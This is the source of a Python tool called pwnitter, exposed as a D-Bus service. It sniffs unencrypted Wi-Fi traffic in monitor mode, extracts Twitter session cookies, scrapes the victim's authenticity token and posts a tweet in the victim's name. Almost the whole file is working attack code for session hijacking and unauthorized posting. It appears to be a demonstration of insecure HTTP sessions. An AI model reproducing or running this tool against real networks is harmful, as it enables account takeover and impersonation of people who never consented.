Updated default status message to be posted
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import socket
11 import time
12 import gobject
13 import select
14 import subprocess
15
16 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
17
18 def usage(): 
19     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
20     sys.exit(1)
21
22 NAME = 'de.cryptobitch.muelli.Pwnitter'
23
24 class Pwnitter(dbus.service.Object):
25     def __init__(self, bus, object_name, device='mon0'):
26         super(Pwnitter, self).__init__(bus, object_name)
27         self.device = device
28         
29         self.status = status
30         self.is_running = False
31
32     @dbus.service.method(NAME,
33                          in_signature='', out_signature='')
34     def Start(self, device='mon0'):
35         # FIXME: Prevent double Start()
36         # FIXME: Replace hardcoded interface 
37         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
38         subprocess.call(cmd)
39         cmd = '/sbin/ifconfig mon0 up'.split()
40         subprocess.call(cmd)
41         self.is_running = True
42         try:
43             self.cap = pcap.pcap(device)
44         except OSError, e:
45             print "Error setting up %s" % device
46             raise e
47         self.cap.setfilter('dst port 80')
48         cap_fileno = self.cap.fileno()
49         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
50     
51     def cap_readable_callback(self, source, condition, device):
52         return self.pwn(device, self.MessageSent)
53         
54     @dbus.service.signal(NAME)
55     def MessageSent(self, who):
56         print "Emitting MessageSent"
57         return who
58         return False
59         pass
60
61     @dbus.service.method(NAME,
62                          in_signature='s', out_signature='')
63     def SetMessage(self, message):
64         self.status = message
65         
66     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
67                          in_signature='', out_signature='s')
68     def GetMessage(self):
69         return self.status
70
71     @dbus.service.method(NAME,
72                          in_signature='', out_signature='')
73     def Stop(self):
74         self.is_running = False
75         print "Receive Stop"
76         gobject.source_remove(self.source_id)
77         cmd = '/sbin/ifconfig mon0 down'.split()
78         subprocess.call(cmd)
79         cmd = '/usr/sbin/iw dev mon0 del'.split()
80         subprocess.call(cmd)
81         loop.quit()
82
83
84     def pwn(self, device, tweeted_callback=None):
85         processed = {}
86         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
87             ts, raw = self.cap.next()
88             eth = dpkt.ethernet.Ethernet(raw)
89             #print 'got a packet'  
90             # Depending on platform, we can either get fully formed packets or unclassified radio data
91             if isinstance(eth.data, str):
92                 data = eth.data
93             else:
94                 data = eth.data.data.data
95
96             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
97             if hostMatches:
98                 print 'Host matched'
99                 host = hostMatches.group(1)
100
101                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
102                 if cookieMatches:
103                     cookie = cookieMatches.group(1)
104
105                     headers = {
106                         "User-Agent": "Mozilla/5.0",
107                         "Cookie": cookie,
108                     }
109                     
110                     conn = httplib.HTTPSConnection(host)
111                     try:
112                         conn.request("GET", "/", None, headers)
113                     except socket.error, e:
114                         print e
115                     else:
116                         response = conn.getresponse()
117                         page = response.read()
118
119                         # Newtwitter and Oldtwitter have different formatting, so be lax
120                         authToken = ''
121
122                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
123                         if formMatches:
124                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
125
126                             if authMatches:
127                                 authToken = authMatches.group(1)
128
129                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
130                         if not nameMatches:
131                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
132
133                         name = ''
134                         if nameMatches:
135                             name = nameMatches.group(1)
136
137
138                         # We don't want to repeatedly spam people
139                         # FIXME: What the fuck logic. Please clean up
140                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
141                             headers = {
142                                 "User-Agent": "Mozilla/5.0",
143                                 "Accept": "application/json, text/javascript, */*",
144                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
145                                 "X-Requested-With": "XMLHttpRequest",
146                                 "X-PHX": "true",
147                                 "Referer": "http://api.twitter.com/p_receiver.html",
148                                 "Cookie": cookie
149                             }
150
151
152                             print 'Issueing connection'
153                             if host == 'mobile.twitter.com':
154
155                                 params = urllib.urlencode({
156                                     'tweet[text]': self.status,
157                                     'authenticity_token': authToken
158                                 })
159
160                                 conn = httplib.HTTPConnection("mobile.twitter.com")
161                                 conn.request("POST", "/", params, headers)
162
163                             else:
164
165                                 params = urllib.urlencode({
166                                     'status': self.status,
167                                     'post_authenticity_token': authToken
168                                 })
169
170                                 conn = httplib.HTTPConnection("api.twitter.com")
171                                 conn.request("POST", "/1/statuses/update.json", params, headers)
172
173
174                             response = conn.getresponse()
175                             print 'Got response: %s' % response.status
176                             if response.status == 200 or response.status == 302 or response.status == 403:
177
178                                 if name:
179                                     processed[name] = 1
180
181                                 # 403 is a dupe tweet
182                                 if response.status != 403:
183                                     print "Successfully tweeted as %s" % name
184                                     print 'calling %s' % tweeted_callback
185                                     if tweeted_callback:
186                                         tweeted_callback(name)
187                                 else:
188                                     print 'Already tweeted as %s' % name
189
190                             else:
191
192                                 print "FAILED to tweet as %s, debug follows:" % name
193                                 print response.status, response.reason
194                                 print response.read() + "\n"
195         return self.is_running # Execute next time, we're idle
196     # FIXME: Ideally, check     whether Pcap has got data for us
197
198 def main():
199
200     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
201     device = None
202     for o, a in opts:
203         if o == '-i':
204             device = a
205         else:
206             usage()
207     #pwn(device)
208
209
210
211 if __name__ == '__main__':
212     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
213
214     #session_bus = dbus.SessionBus()
215     session_bus = dbus.SystemBus()
216     name = dbus.service.BusName(NAME, session_bus)
217     pwnitter = Pwnitter(session_bus, '/Pwnitter')
218     #object.Start()
219
220     loop = gobject.MainLoop()
221     print "Running example signal emitter service."
222     # FIXME: This is debug code
223     #gobject.idle_add(pwnitter.MessageSent)
224     
225     loop.run()
226     print "Exiting for whatever reason"
227     #main()